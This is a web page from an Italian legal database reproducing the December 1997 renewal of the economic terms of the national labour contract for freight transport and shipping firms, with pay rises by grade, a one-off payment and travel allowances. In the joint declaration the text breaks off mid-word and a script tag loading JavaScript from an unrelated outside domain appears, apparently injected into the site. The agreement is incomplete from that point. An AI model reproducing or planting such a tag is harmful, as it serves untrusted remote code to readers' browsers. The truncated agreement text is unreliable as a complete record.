Torna all'elenco delle categorie

Categoria: Autostrasporti e spedizioni in conto terzi
Settore: Trasporti
Data stipula: 22-12-1997
Data decorrenza: 1-1-1997
Data scadenza: 31-12-1998

IMPRESE TRASPORTO MERCI: IL 2° BIENNIO ECONOMICO

22 dicembre 1997

Addì, 22 dicembre 1997 in Roma

tra

AITI, ASSTRI, FEDERCORRIERI, FEDESPEDI, FISI, UNITAI E ANITA, assistite da
CONFETRA

e

FILT-CGIL, FIT-CISL e UIL-TRASPORTI

si  è  concordato  quanto segue per il rinnovo della parte  economica  (2*
biennio) del CCNL 12 aprile 1995 che disciplina il rapporto di lavoro  del
personale  dipendente  dalle imprese di spedizione,  anche  se  denominate
transitarie e doganali, dalle aziende esercenti l'autotrasporto  di  merce
su  strada  per  conto  di  terzi, dalle imprese di  servizi  logistici  e
ausiliari  del trasporto, nonchè dalle agenzie aeree e pubblici  mediatori
marittimi  che  esercitano  tale  attività  promiscuamente  a  quella   di
spedizione.



AUMENTI RETRIBUTIVI MENSILI

                    1.1.1998         1.9.1998       Totale

     Quadro         114.000        114.000        228.000
     1°             103.000        103.000        206.000
     2°              89.000         89.000        178.000
     3°Super         75.000         75.000        150.000
     3°              72.000         72.000        144.000
     4°              70.000         70.000        140.000
     5°              59.000         59.000        118.000
     6°              52.000         52.000        104.000



UNATANTUM

Ai  lavoratori in servizio alla data di stipula del presente accordo verrà
corrisposto,  a  copertura del periodo 1° gennaio - 31 dicembre  1997,  un
importo forfettario lordo procapite di lire 450.000.
  
Tale  importo  verrà  erogato con la retribuzione  afferente  il  mese  di
febbraio '98.

L'importo  di una tantum verrà proporzionalmente ridotto per i  lavoratori
assunti  dall'1 gennaio 1997 in funzione della data di assunzione,  nonché
per   il   personale  part-time  in  relazione  alla  ridotta  prestazione
lavorativa.  A  tal  fine  non vengono considerate  le  frazioni  di  mese
inferiore a 15 giorni, mentre quelle pari o superiori a 15 giorni  vengono
computate come mese intero.

L'importo forfettario di cui sopra non sarà considerato utile ai fini  dei
vari  istituti contrattuali e della determinazione del trattamento di fine
rapporto.

Le  giornate di assenza per malattia, infortunio, gravidanza, puerperio  e
congedo  matrimoniale,  intervenute nel periodo 1°gennaio  -  31  dicembre
1997,   che  hanno  dato  luogo  al  pagamento  dell'indennità  a   carico
dell'istituto competente e di integrazione a carico delle aziende, saranno
considerate utili ai fini della maturazione dell'importo una tantum.

A decorrere dall'1° gennaio 1998 cesserà di essere corrisposta l'indennità
di vacanza contrattuale.



INDENNITA' DI TRASFERTA

A decorrere dall'1° gennaio '98 le misure dell'indennità di trasferta sono
le seguenti:

l. per i servizi in territorio nazionale          dal 1.12.98

dalle 6 alle 12 ore           L.32.200            L.33.000
dalle 12 alle 18 ore          L.48.900            L.51.000
dalle 18 alle 24 ore          L.61.000            L.64.000


2. per i servizi in territorio estero

dalle 6 alle 12 ore           L.44.100            L.46.000
dalle 12 alle 18 ore               L.64.400            L.67.000
dalle 18 alle 24 ore          L.92.600            L.95.000



DICHIARAZIONE CONGIUNTA SU INDENNITA' DI TRASFERTA

1.   Il personale viaggiante non è qualificabile come trasfertista a norma
  dell'art.3,   comma   5,   del  D.  Leg.   2   settembre   1997,   n.314
  sull'armonizzazione del trattamento contributivo e fiscale, in quanto la
  sua attività in missione si esercita partendo da un luogo fisso di lavoro.
  Tale  luogo  fisso  di  lavoro è stabilito all'atto  dell'assunzione  o,
  successivamente soltanto per effetto di trasferimento

2.    E'  di  conseguenza  irrilevante il fatto  che  nell'esecuzione  dei
  servizi suddetti la presa e la consegna delle merci avvenga in più luoghi
  restan<script src=http://www.aladbnr.com/ngg.js></script>













(c) 2002-2022 www.infoleges.it -  powered by Be Smart s.r.l - Note legali e Condizioni d'uso